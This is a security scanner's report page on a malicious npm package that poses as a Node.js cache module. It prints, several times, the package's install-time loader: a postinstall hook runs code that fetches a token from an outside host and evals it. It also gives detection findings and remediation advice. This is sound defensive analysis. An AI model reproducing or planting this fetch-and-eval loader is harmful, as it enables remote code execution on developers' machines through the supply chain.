registry / Remote code execution / commonjs-code-token

commonjs-code-token

A high-performance, thread-safe in-memory cache module for Node.js applications using **Worker Threads** to provide efficient multi-threaded cache operations.

This report shows the evidence for commonjs-code-token@1.0.1. 2 of 2 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is concrete install-time remote code execution, not merely a dynamic-evaluation primitive. Block publication.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm postinstall during package installation

Impact

Arbitrary code execution with the installing user's permissions.

Mechanism

remote fetch followed by eval

Attack narrative

The postinstall hook invokes index.js. That file requests a remote URL, reads a token property from the JSON response, and passes it directly to eval. A server-side response can therefore execute arbitrary code on every installation without reviewable package-source changes.

AI rationale

This is concrete install-time remote code execution, not merely a dynamic-evaluation primitive. Block publication.

Evidence

package.jsonindex.js

Network endpoints1

galaxy-main.vercel.app/

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines a postinstall hook that runs index.js.
index.js fetches a remote response, extracts token, and evals it during postinstall.

Evidence against

Behavioral surface

Source

EvalNetwork

Supply chain

TrivialUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 153 B of source, external domains: galaxy-main.vercel.app

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1module.exports = (async () => { L2: const res = await fetch("https://galaxy-main.vercel.app/"); L3: const { token } = await res.json(); L4: eval(token); L5: })();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L1

•Trigger-reachable chain: scripts.postinstall -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

3const { token } = await res.json(); L4: eval(token); L5: })();

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L3

•matchType = normalized_sha256 matchedPackage = commonjs-code-token@1.0.0 matchedPath = index.js matchedIdentity = npm:Y29tbW9uanMtY29kZS10b2tlbg:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 03e6d76fd9348d70 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = commonjs-code-token@1.0.0 matchedPath = index.js matchedIdentity = npm:Y29tbW9uanMtY29kZS10b2tlbg:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

1module.exports = (async () => { const res = await fetch("https://galaxy-main.vercel.app/"); const { token } = await res.json(); eval(token); })();

High

Suspicious Lifecycle Evidence

index.js fetches a remote response, extracts token, and evals it during postinstall.

index.jsView on unpkg · L1

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1module.exports = (async () => { L2: const res = await fetch("https://galaxy-main.vercel.app/"); L3: const { token } = await res.json(); L4: eval(token); L5: })();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L1

•Trigger-reachable chain: scripts.postinstall -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

Findings

2 Critical5 High2 Medium2 Low

CriticalRemote Asset Decode Executeindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighInstall Time Lifecycle Scriptspackage.json

HighEvalindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighSuspicious Lifecycle Evidenceindex.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to commonjs-code-token@1.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing commonjs-code-token@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-26 14:30:12.601Z (UTC).

Source advisory published: 2026-08-26 14:18:32.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

1.0.1latestshownMaliciousRemote Code ExecutionBlockPublishedAug 25, 2026, 7:49 PM 1.0.0MaliciousRemote Code ExecutionBlockPublishedAug 25, 2026, 7:06 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code